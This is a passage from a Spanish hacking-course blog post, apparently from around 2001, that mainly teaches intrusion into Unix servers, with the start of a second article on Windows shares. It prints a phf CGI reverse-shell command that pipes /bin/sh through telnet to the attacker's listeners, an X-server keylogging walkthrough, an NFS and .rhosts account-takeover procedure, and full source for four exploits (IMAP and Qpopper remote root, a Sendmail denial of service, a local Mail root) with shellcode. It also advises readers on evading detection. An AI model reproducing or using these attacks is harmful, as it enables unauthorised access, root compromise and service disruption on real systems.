while(fgets(hosta,100,stdin))<br />
{<br />
if(hosta[0] =3D=3D &#8216;\0&#8242;)<br />
break;<br />
hosta[strlen(hosta) -1] =3D &#8216;\0&#8242;;<br />
write(1,hosta,strlen(hosta)*sizeof(char));<br />
write(1,&#8221;\n&#8221;,sizeof(char));<br />
ï¿½<br />
hp =3D gethostbyname (hosta);<br />
for(i=3D0;i&lt;MAXSTR;i++) {<br />
bzero((char*) &amp;sin, sizeof(sin));<br />
bcopy(hp-&gt;h_addr, (char *) &amp;sin.sin_addr, hp-&gt;h_length);<br />
sin.sin_family =3D hp-&gt;h_addrtype;<br />
sin.sin_port =3D htons(80);<br />
sock =3D socket(AF_INET, SOCK_STREAM, 0);<br />
X=3Dconnect(sock,(struct sockaddr *) &amp;sin, sizeof(sin));<br />
write(sock,stringhe[i],strlen(stringhe[i])*sizeof(char));ï¿½<br />
while((X=3Dread(sock,FileBuf,8096))!=3D0)<br />
write(1,FileBuf,X);<br />
ï¿½<br />
}</p>
<p>}<br />
printf(&#8220;\nScacco&amp;Dark Schneider &#8211; S0ft Pr0ject 98&#8243;);<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;/end CGI scanner&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Hay otros pero este ya vale.</p>
<p>Bueno&#8230;y si el  administrador ha eliminado las X?  Entonces habra que<br />
recurrir a un canal trasero. En  la mayor parte de los servidores unix<br />
hay  instalado un  cliente telnet  sin restricciones  de  empleo. Para<br />
conseguir  nuestro  canal  trasero  realizaremos un  &#8220;telnet  inverso&#8221;<br />
utilizando  la herramienta  netcat  para activar  escuchas en  nuestro<br />
propio  sistema. Debemos  ejecutar los  siguientes comandos  en sendos<br />
xterms de nuestra maquina:</p>
<p>(xterm1)#&gt;nc -l -n -v -p 80</p>
<p>(xterm2)#&gt;nc -l -n -v -p 25</p>
<p>Hemos de asegurarnos de que no hay demonio alguno escuchando por tales<br />
puertos  en nuestro  sistema  y si  los hay  haced  un ps  ax y  luego<br />
matadlos  con kill  -9  &lt;pid&gt;. Los  dos  mandatos nc  escuchan en  los<br />
puertos 80  y 25 de nuestra  maquina. Para iniciar  el telnet inverso,<br />
ejecutamos en el servidor objetivo desde nuestro navegador:</p>
<p><a href="http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/telnet%20darkstar_IP%2080%20|%20/bin/sh%20|%20/bin/telnet%20darkstar_IP%2025">http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/telnet%20darkstar_IP%2080%20|%20/bin/sh%20|%20/bin/telnet%20darkstar_IP%2025</a></p>
<p>que equivaldria a hacer en la maquina remota:</p>
<p>/bin/telnet darkstar_IP 80|/bin/sh/|/bin/telnet darkstar_IP 25</p>
<p>El  mandato /bin/telnet darkstar_IP  80 se  conecta a  nuestra escucha<br />
netcat  en   el  puerto  80.  Aqui  es   donde  escribiremos  nuestras<br />
ordenes. La salida estandar o las pulsaciones de teclas que hagamos se<br />
introduciran  en  /bin/sh.  Posteriormente,  el  resultadode  nuestros<br />
mandatos se dirigira a /bin/telnet darkstar_IP 25. Al final tenemos un<br />
telnet inverso  que se ejecuta  en dos ventanas separadas.  Se escogen<br />
los  puertos 80  y 25  porque son  servicios comunes  que generalmente<br />
permiten  los  cortafuegos.  Existen   otros  modos  de  explotar  las<br />
vulnerabilidades CGI, pero se llevan a cabo desde acceso local.</p>
<p>3.2.4 Vulnerabilidades de servidores X</p>
<p>Muchos   servidores  X   ejecutan  de   forma   predeterminada  xhost+<br />
permitiendo que cualquier usuario local  o remoto acceda al servidor X<br />
sin autenticarse  y muchos administradores ni se  percatan. Existe una<br />
utilidad llamada xscan que podeis encontrar en</p>
<p><a href="http://morehouse.org/hin/root/xscan.tar.gz">http://morehouse.org/hin/root/xscan.tar.gz</a></p>
<p>que  permite   identificar  los  servidores  X   que  tienen  activado<br />
xhost+. Una vez instalada hacemos</p>
<p>$&gt;xscan objetivo.net<br />
=2E..<br />
Connecting to objetivo.net&#8230;on port 6000<br />
connected<br />
Host objetivo.net is running X<br />
Starting keyboard logging of host objetivo.net<br />
:0.0 to file KEYLOGobjetivo.net:0.0.</p>
<p>A  partir de  ahora, cualquier  pulsacion  de teclas  realizada en  la<br />
consola  de  la  maquina  remota  quedara  registrada  en  el  archivo<br />
KEYLOGobjetivo.net. Si ejecutamos un tail sobre el archivo de registro<br />
podemos ver lo que el usuario esta escribiendo en el teclado:</p>
<p>$&gt;tail -f KEYLOGobjetivo.net:0.0<br />
su -<br />
[shift_L * Iamowned (Shift_R)]</p>
<p>Asi vemos que el usuario ha ejecutado el comando su con el password de<br />
root &#8220;Iamowned&#8221; <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )).<br />
3.3 Mala configuracion de hosts.equiv y .rhosts</p>
<p>En una red basada en TCP/IP el fichero /etc/hosts.equiv es una base de<br />
datos general  que controla el acceso  a nivel de hosts,  y el fichero<br />
/home/usuario/.rhosts  controla el  acceso  a la  maquina  a nivel  de<br />
usuario. Las maquinas cuyos  nombres encontremos en /etc/hosts.equiv o<br />
en ~/.rhosts  se llaman  &#8220;trusted hosts&#8221; o  maquinas de  confianza por<br />
parte del objetivo. Cuando  intentamos conectarnos a la maquina remota<br />
mediante  rlogin (la  maquina remota  ha de  tener el  puerto  513 tcp<br />
rlogin activo)</p>
<p>$&gt;rlogin -l objetivo.net</p>
<p>el demonio rlogin  busca en /etc/hosts.equiv por el  nombre de nuestra<br />
maquina y si lo encuentra, hemos conseguido el acceso. Tambien podemos<br />
intentarlo haciendo</p>
<p>~&gt;rlogin -l usuario objetivo.net</p>
<p>entonces  rlogin busca  el nombre  de  nuestra maquina  en el  fichero<br />
/home/usuario/.rhost y  si la  encuentra, tambien hemos  conseguido el<br />
acceso.  Un  antiguo &#8220;bug&#8221; de rlogin permitia  conseguir una rootshell<br />
haciendo</p>
<p>$&gt;rlogin objetivo.net -l -froot.</p>
<p>Si  una maquina  tiene  el rlogin  activado  (y no  tiene filtros  tcp<br />
warppers)   debemos  intentar   escribir  una   &#8220;+&#8221;  en   ~/.rhosts  o<br />
/etc/hosts.equiv.  Muchos  ya vienen  con  la  entrada  &#8220;+&#8221; en  dichos<br />
archivos por defecto  y eso significa que cualquier  otra maquina sera<br />
un &#8220;trusted  hosts&#8221;. Voy a  ilustrar esto con  un ejemplito de  lo mas<br />
interesante. Supongamos  que sabemos  que en nuestro  sistema objetivo<br />
estan activos los servicios rlogin, mountd y nfs. Si hacemos</p>
<p>#&gt;showmount -e objetivo.net<br />
y nos sale</p>
<p>/home</p>
<p>Lo primero que haremos sera crear un directorio para montar /home</p>
<p>#&gt;mkdir patapalo</p>
<p>#&gt;mount -nt nfs objetivo.net:/home /patapalo</p>
<p>#&gt;ls -la /patapalo<br />
Imaginemos que encontramos la siguiente entrada con UID=3D102:</p>
<p>1 drwx&#8212;&#8212; 15 102 100   1024 Jul 8 18:57 skywalker/</p>
<p>Hacemos una entrada nueva en nuestro fichero de passwd para skywalker pero sin contrase=F1a:</p>
<p>#&gt;echo &#8220;skywalker::102:2::/patapalo: /bin/shi&#8221; &gt;&gt; /etc/passwd</p>
<p>#&gt;su &#8211; skywalker<br />
(sin contrasenya)</p>
<p>Una vez como skywalker, podemos hacer:</p>
<p>#&gt;echo &#8220;+ +&#8221; &gt; skywalker/.rhosts (hacemos que la maquina remota considere a cualquiera, nosotros por ejemplo, como de confianza)</p>
<p>#&gt;cd /</p>
<p>#&gt;rlogin -l skywalker objetivo.net<br />
Wellcome to objetivo.net<br />
=2E..</p>
<p>objetivo.net:~$&gt;</p>
<p>=A1Ya tenemos cuenta en el sistema!</p>
<p>Para desmontar el archivo, salimos del directorio y hacemos</p>
<p>#&gt;umount /patapalo</p>
<p>De todos  modos es muy raro  que pasen estas  cosas&#8230;los tcp warppers<br />
deberian  tener  bien  configurados  sus  ficheros  de  hosts.allow  y<br />
hosts.deny&#8230;pero por  defecto, al instalarse  automaticamente los tcp<br />
warppers en  el sistema (linux  p.ej.)  los ficheros  de configuracion<br />
mencionados estan vacios de reglas de acceso.<br />
3.4 Exploits</p>
<p>Los exploits son procedimientos que nos permiten aprovechar (explotar)<br />
un fallo o vulnerabilidad en  ciertos programas que se ejecutan con el<br />
bit setuid activado y que nos permiten acceder al sistema generalmente<br />
con una rootshell. Si bien la  mayor parte de las veces se utilizan en<br />
acceso  local como  procedimiento para  acceder a  los  privilegios de<br />
root, tambien se usan para el acceso remoto utilizando alguna utilidad<br />
de red como telnet o netcat.</p>
<p>La mayor parte de los  exploits se basan en desbordamientos del buffer<br />
de  la  pila(stack  buffer  overflow).  En el  excelente  articulo  de<br />
AlephOne aparecido en  noviembre de 1996 en el Phrack  (49, file 14) y<br />
titulado  &#8220;Smashing  the  Stack   for  Fun  and  Profit&#8221;  se  describe<br />
minuciosamente  como es  posible desbordar  el buffer  de la  pila del<br />
proceso  y establecer  la direccion  de  retorno para  que se  ejecute<br />
codigo  arbitrario, generalmente  una rutina  en ensamblador  (a veces<br />
llamada  &#8220;egg&#8221;) que  ejecuta /bin/sh  con  privilegio de  root (si  el<br />
programa  tenia  el  bit  setuid  activado).  Esta  vulnerabilidad  la<br />
presentan  en  principio  los  programas  que  llaman  a  determinadas<br />
funciones C tales como strcpy(), strcat() y sprintf() que no verifican<br />
el tama=F1o de los arrays. Hay  un articulo muy sencillo de leer (o lo<br />
habia)  en <a href="http://hello.to/hacker_novatos">http://hello.to/hacker_novatos</a> escrito  por RaiSe  para los<br />
neofitos, pero debeis de tener  al menos unas nociones de programacion<br />
C,  la  distribucion en  la  memoria  de un  proceso  unix  y algo  de<br />
ensamblador (CPU Intel  y linux como so). Yo por  mi me enrrollaria un<br />
poco con  el tema  porque es apasionante  y es  relativamente sencillo<br />
escribir nuestros  propios exploits&#8230;pero  eso sera otra  historia si<br />
Dios quiere  que disponga de tiempo  para hacer una  introduccion a la<br />
realizacion de exploits. Basta decir que si visitamos la pagina</p>
<p><a href="http://www.rootshell.com">http://www.rootshell.com</a></p>
<p>y buscamos en  &#8220;exploits&#8221; encontraremos de todo. En  cada uno de ellos<br />
se explica el  modus operandi para aplicarlos. Yo  he recogido algunos<br />
recientitos para Linuxy los pego a continuacion:</p>
<p>**Uno para imap, del 98</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-/begin imap exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>/*</p>
<p>THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF THE ADM CREW<br />
ï¿½<br />
Linux WU-IMAPD 4.1 remote root exploit (4/98)<br />
by   ndubee||plaguez<br />
<a href="mailto:dube0866@eurobretagne.fr">dube0866@eurobretagne.fr</a></p>
<p>Usage:   ./imapx &lt;offset&gt;<br />
ï¿½<br />
where offset =3D -500..500  (brute force if 0 doesnt work)</p>
<p>Credits:<br />
- Cheez Whiz (original x86 BSD exploit)<br />
- #!w00w00 and #!ADM</p>
<p>Note:<br />
if you plan to port this to other OS., make sure the<br />
shellcode doesn&#8217;t contain lower case chars since imapd<br />
will toupper() the shellcode, thus fucking it up.</p>
<p>*/</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;limits.h&gt;<br />
#include &lt;string.h&gt;<br />
#define BUFLEN 2048<br />
#define NOP 0&#215;90</p>
<p>char shell[] =3D<br />
/*<br />
jmp 56<br />
popl %esi<br />
movl    %esi,%ebx<br />
movl    %ebx,%eax<br />
ï¿½<br />
addb    $0&#215;20,0&#215;1(%esi)<br />
addb    $0&#215;20,0&#215;2(%esi)<br />
addb    $0&#215;20,0&#215;3(%esi)<br />
addb    $0&#215;20,0&#215;5(%esi)<br />
addb    $0&#215;20,0&#215;6(%esi)<br />
ï¿½<br />
movl    %esi,%edi<br />
addl    $0&#215;7,%edi<br />
xorl    %eax,%eax<br />
stosb   %al,%es:(%edi)<br />
movl    %edi,%ecx<br />
movl    %esi,%eax<br />
stosl   %eax,%es:(%edi)<br />
movl    %edi,%edx<br />
xorl    %eax,%eax<br />
stosl   %eax,%es:(%edi)<br />
movb    $0&#215;8,%al<br />
addb    $0&#215;3,%al<br />
int     $0&#215;80<br />
xorl    %ebx,%ebx<br />
movl    %ebx,%eax<br />
incl    %eax<br />
int     $0&#215;80<br />
call   -61<br />
.string \&#8221;/BIN/SH\&#8221;<br />
.byte   0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff  ;markup</p>
<p>*/</p>
<p>&#8220;\xeb\x38\x5e\x89\xf3\x89\xd8\x80&#8243;<br />
&#8220;\x46\x01\x20\x80\x46\x02\x20\x80&#8243;<br />
&#8220;\x46\x03\x20\x80\x46\x05\x20\x80&#8243;<br />
&#8220;\x46\x06\x20\x89\xf7\x83\xc7\x07&#8243;<br />
&#8220;\x31\xc0\xaa\x89\xf9\x89\xf0\xab&#8221;<br />
&#8220;\x89\xfa\x31\xc0\xab\xb0\x08\x04&#8243;<br />
&#8220;\x03\xcd\x80\x31\xdb\x89\xd8\x40&#8243;<br />
&#8220;\xcd\x80\xe8\xc3\xff\xff\xff\x2f&#8221;<br />
&#8220;\x42\x49\x4e\x2f\x53\x48\x00&#8243;;</p>
<p>void<br />
main (int argc, char *argv[])<br />
{<br />
char buf[BUFLEN];<br />
int offset=3D0,nop,i;<br />
unsigned long esp;</p>
<p>fprintf(stderr,&#8221;usage: %s &lt;offset&gt;\n&#8221;, argv[0]);<br />
ï¿½<br />
nop =3D 403;<br />
esp =3D 0xbffff520;<br />
if(argc&gt;1)<br />
offset =3D atoi(argv[1]);</p>
<p>memset(buf, NOP, BUFLEN);<br />
memcpy(buf+(long)nop, shell, strlen(shell));<br />
ï¿½<br />
for (i =3D 512; i &lt; BUFLEN &#8211; 4; i +=3D 4)<br />
*((int *) &amp;buf[i]) =3D esp + (long) offset;</p>
<p>printf(&#8220;* AUTHENTICATE {%d}\r\n&#8221;, BUFLEN);<br />
for (i =3D 0; i &lt; BUFLEN; i++)<br />
putchar(buf[i]);<br />
ï¿½<br />
printf(&#8220;\r\n&#8221;);</p>
<p>return;<br />
}<br />
&#8212;&#8212;&#8212;&#8212;&#8211;/end imap exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
**Otro para qpop3</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;/begin qpop3 exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
/*<br />
* !Hispahack Research Team<br />
* <a href="http://hispahack.ccc.de">http://hispahack.ccc.de</a><br />
*<br />
* By Zhodiac &lt;<a href="mailto:zhodiac@softhome.net">zhodiac@softhome.net</a>&gt;<br />
*<br />
* Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)<br />
* Overflow at pop_list()-&gt;pop_msg()<br />
*<br />
* Tested: 3.0beta28  offset=3D0<br />
*         3.0beta26  offset=3D0<br />
*         3.0beta25  offset=3D0<br />
*<br />
* #include &lt;standar/disclaimer.h&gt;<br />
*<br />
* This code is dedicated to my love [CrAsH]] and to all the people who<br />
* were raided in Spain in the last few days.<br />
*<br />
* Madrid 10/1/2000<br />
*<br />
*/</p>
<p>#include &lt;stdio.h&gt;</p>
<p>#define BUFFERSIZE 1004<br />
#define NOP 0&#215;90<br />
#define OFFSET 0xbfffd9c4</p>
<p>char shellcode[]=3D<br />
&#8220;\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89&#8243;<br />
&#8220;\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89&#8243;<br />
&#8220;\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh&#8221;;<br />
void usage(char *progname) {<br />
fprintf(stderr,&#8221;Usage: (%s &lt;login&gt; &lt;password&gt; [&lt;offset&gt;]; cat) | nc &lt;target&gt; 110&#8243;,progname);<br />
exit(1);<br />
}</p>
<p>int main(int argc, char **argv) {<br />
char *ptr,buffer[BUFFERSIZE];<br />
unsigned long *long_ptr,offset=3DOFFSET;<br />
int aux;</p>
<p>fprintf(stderr,&#8221;\n!Hispahack Research Team (<a href="http://hispahack.ccc.de)\n">http://hispahack.ccc.de)\n</a>&#8220;);<br />
fprintf(stderr,&#8221;Qpopper xploit by Zhodiac &lt;<a href="mailto:zhodiac@softhome.net&gt;\n\n">zhodiac@softhome.net&gt;\n\n</a>&#8220;);</p>
<p>if (argc&lt;3) usage(argv[0]);</p>
<p>if (argc=3D=3D4) offset+=3Datol(argv[3]);</p>
<p>ptr=3Dbuffer;<br />
memset(ptr,0,sizeof(buffer));<br />
memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);<br />
ptr+=3Dsizeof(buffer)-strlen(shellcode)-16;<br />
memcpy(ptr,shellcode,strlen(shellcode));<br />
ptr+=3Dstrlen(shellcode);<br />
long_ptr=3D(unsigned long*)ptr;<br />
for(aux=3D0;aux&lt;4;aux++) *(long_ptr++)=3Doffset;<br />
ptr=3D(char *)long_ptr;<br />
*ptr=3D&#8217;\0&#8242;;</p>
<p>fprintf(stderr,&#8221;Buffer size: %d\n&#8221;,strlen(buffer));<br />
fprintf(stderr,&#8221;Offset: 0x%lx\n\n&#8221;,offset);</p>
<p>printf(&#8220;USER %s\n&#8221;,argv[1]);<br />
sleep(1);<br />
printf(&#8220;PASS %s\n&#8221;,argv[2]);<br />
sleep(1);<br />
printf(&#8220;LIST 1 %s\n&#8221;,buffer);<br />
sleep(1);<br />
printf(&#8220;uname -a; id\n&#8221;);</p>
<p>return(0);<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;/end qpop exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
**Otro para sendmail</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;/begin sendmail exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
/*<br />
against.c &#8211; Another Sendmail (and pine <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  DoS (up to 8.9.2)<br />
(c) 1999 by &lt;<a href="mailto:marchew@linux.lepszy.od.kobiety.pl">marchew@linux.lepszy.od.kobiety.pl</a>&gt;</p>
<p>Usage: ./against existing_user_on_victim_host victim_host<br />
Example: ./against nobody lamers.net</p>
<p>*/</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;unistd.h&gt;<br />
#include &lt;sys/param.h&gt;<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;sys/time.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;netdb.h&gt;<br />
#include &lt;stdarg.h&gt;<br />
#include &lt;errno.h&gt;<br />
#include &lt;signal.h&gt;<br />
#include &lt;getopt.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;string.h&gt;</p>
<p>#define MAXCONN 5<br />
#define LINES   150000</p>
<p>struct hostent *hp;<br />
struct sockaddr_in s;<br />
int suck,loop,x;</p>
<p>int main(int argc,char* argv[]) {<br />
ï¿½<br />
printf(&#8220;against.c &#8211; another Sendmail DoS (up to 8.9.2)\n&#8221;);</p>
<p>if (argc-3) {<br />
printf(&#8220;Usage: %s victim_user victim_host\n&#8221;,argv[0]);<br />
exit(0);<br />
}<br />
ï¿½<br />
hp=3Dgethostbyname(argv[2]);<br />
ï¿½<br />
if (!hp) {<br />
perror(&#8220;gethostbyname&#8221;);<br />
exit(1);<br />
}</p>
<p>fprintf(stderr,&#8221;Doing mess: &#8220;);</p>
<p>for (;loop&lt;MAXCONN;loop++) if (!(x=3Dfork())) {<br />
FILE* d;<br />
bcopy(hp-&gt;h_addr,(void*)&amp;s.sin_addr,hp-&gt;h_length);<br />
s.sin_family=3Dhp-&gt;h_addrtype;<br />
s.sin_port=3Dhtons(25);<br />
if ((suck=3Dsocket(AF_INET,SOCK_STREAM,0))&lt;0) perror(&#8220;socket&#8221;);<br />
if (connect(suck,(struct sockaddr *)&amp;s,sizeof(s))) perror(&#8220;connect&#8221;);<br />
if (!(d=3Dfdopen(suck,&#8221;w&#8221;))) { perror(&#8220;fdopen&#8221;); exit(0); }</p>
<p>usleep(100000);</p>
<p>fprintf(d,&#8221;helo tweety\n&#8221;);<br />
fprintf(d,&#8221;mail from: <a href="mailto:tweety@polbox.com\n">tweety@polbox.com\n</a>&#8220;);<br />
fprintf(d,&#8221;rcpt to: <a href="mailto:%s@%s\n&quot;,argv[1],argv[2">%s@%s\n&#8221;,argv[1],argv[2</a>]);<br />
fprintf(d,&#8221;data\n&#8221;);</p>
<p>usleep(100000);</p>
<p>for(loop=3D0;loop&lt;LINES;loop++) {<br />
if (!(loop%100)) fprintf(stderr,&#8221;.&#8221;);<br />
fprintf(d,&#8221;To: x\n&#8221;);<br />
}</p>
<p>fprintf(d,&#8221;\n\n\nsomedata\n\n\n&#8221;);</p>
<p>fprintf(d,&#8221;.\n&#8221;);</p>
<p>sleep(1);</p>
<p>fprintf(d,&#8221;quit\n&#8221;);<br />
fflush(d);</p>
<p>sleep(100);<br />
shutdown(suck,2);<br />
close(suck);<br />
exit(0);<br />
}</p>
<p>waitpid(x,&amp;loop,0);</p>
<p>fprintf(stderr,&#8221;ok\n&#8221;);</p>
<p>return 0;<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;/end sendmail exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
**Para terminar uno de Slackware <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;/begin mail-slack exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
/*<br />
* mail-slak.c (C) 2000 Paulo Ribeiro &lt;<a href="mailto:prrar@nitnet.com.br">prrar@nitnet.com.br</a>&gt;<br />
*<br />
* Exploit for /usr/bin/Mail.<br />
* Made specially for Slackware Linux 7.0.<br />
* Based on mailx.c by funkySh.<br />
*<br />
* OBS.: Without fprintf(stderr) is not possible to print the message.<br />
*<br />
* USAGE:<br />
* slack$ ./mail-slak<br />
* type &#8216;.&#8217; and enter: .<br />
* Cc: too long to edit<br />
* sh-2.03$ id<br />
* uid=3D1000(user) gid=3D12(mail) groups=3D100(users)<br />
*/</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;unistd.h&gt;</p>
<p>char buffer[10000];<br />
char shellcode[] =3D<br />
&#8220;\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31&#8243;</p>
<p>&#8220;\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x0c\xb1&#8243;</p>
<p>&#8220;\x0c\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76&#8243;</p>
<p>&#8220;\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89&#8243;</p>
<p>&#8220;\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89&#8243;<br />
&#8220;\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh&#8221;;</p>
<p>unsigned long getesp(void)<br />
{<br />
__asm__(&#8220;movl %esp,%eax&#8221;);<br />
}</p>
<p>int main(int argc, char **argv)<br />
{<br />
int x;<br />
long addr =3D getesp() &#8211; 18000;</p>
<p>memset(buffer, 0&#215;90, 10000);<br />
memcpy(buffer + 800, shellcode, strlen(shellcode));</p>
<p>for(x =3D 876; x &lt; 9998; x +=3D 4)<br />
*(int *)&amp;buffer[x] =3D addr;</p>
<p>fprintf(stderr, &#8220;type &#8216;.&#8217; and enter: &#8220;);</p>
<p>execl(&#8220;/usr/bin/Mail&#8221;, &#8220;/usr/bin/Mail&#8221;, &#8220;nobody&#8221;, &#8220;-s&#8221;,<br />
&#8220;blah&#8221;, &#8220;-c&#8221;, buffer, 0);<br />
}</p>
<p>/* mail-slack.c: EOF */</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;/end mail-slack exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Esto  solo ha  sido  una  muestra. Si  en  rootshell.com utilizais  la<br />
untilidad  search podreis  buscar  los exploits  relativos a  aquellos<br />
programas o servicios que os interesen para vuestros fines }:)).</p>
<p>Bueno&#8230;ya esta  bien por esta  entrega. La proxima nos  dedicaremos a<br />
conseguir  privilegios de  root desde  un  acceso local  y a  preparar<br />
nuestras herramientas.</p>
<p>Antes de terminar&#8230;ni se os ocurra intentar entrar en ninguna maquina<br />
remota en  plan novato apenas sabiendo cuatro  cosas, porque dejariais<br />
unas huellas y vestigios que os delatarian ipso facto. Ya a medida que<br />
avancemos  os  dire  algunas  cosillas  fundamentales  para  ser  casi<br />
invisible&#8230;pero  no todavia.  Por  ultimo, aunque  no quiero  meteros<br />
mucha  tela, existen una  serie de  escaners que  auditan redes  y que<br />
delatan  diversos  fallos de  seguridad  y vulnerabilidades.  Anta=F1o<br />
estaba sscan, pero ahora es  mucho mejor usar saint o nessus&#8230;pero ya<br />
os dire como.</p>
<p>Tened cuidado ahi dentro ;-P</p>
<p>ï¿½<br />
&#8212;&#8212;&#8212;&#8212;&#8211;2EC61C705517942E3D414456&#8211;</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-iii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Recursos compartidos</title>
		<link>http://www.hackindex.com/index.php/2001/06/recursos-compartidos/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/recursos-compartidos/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:13:48 +0000</pubDate>
		<dc:creator>CrinO</dc:creator>
				<category><![CDATA[Acceso a las cosas remotas]]></category>
		<category><![CDATA[Articulos]]></category>
		<category><![CDATA[crino]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[nbtscan]]></category>
		<category><![CDATA[nbtstat]]></category>
		<category><![CDATA[netbeui]]></category>
		<category><![CDATA[netbios]]></category>
		<category><![CDATA[recursos compartidos]]></category>
		<category><![CDATA[samba]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=230</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Recursos compartidos Autor: CrinO Tema: Acceso a las cosas remotas La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Recursos compartidos<br />
Autor: CrinO<br />
Tema: Acceso a las cosas remotas</p>
<p>La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuÃ­do de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificaciÃ³n alguna.</p>
<p>Queda extrictamente prohibida su distribuciÃ³n con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>Hola a todos, en este corto articulo voy a tratar de una forma casi practica los recursos compartidos de Microsoft (este articulo esta basado en una respuesta que di en las news), con una breve introduccion teorica, si despierta interes (y alguien se anima ;-P) mas adelante se puede dedicar otro capitulo a &#8220;destripar&#8221; el funcionamiento de los protocolos NetBios y NetBeui (estoy en ello <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  ).</p>
<p>Caso Primero: SIN CONTRASEÃ‘A</p>
<p>DESDE WINDOWS:</p>
<p>Â¿Que se puede hacer?, bueno, lo contare como si operasemos desde otro guindos.</p>
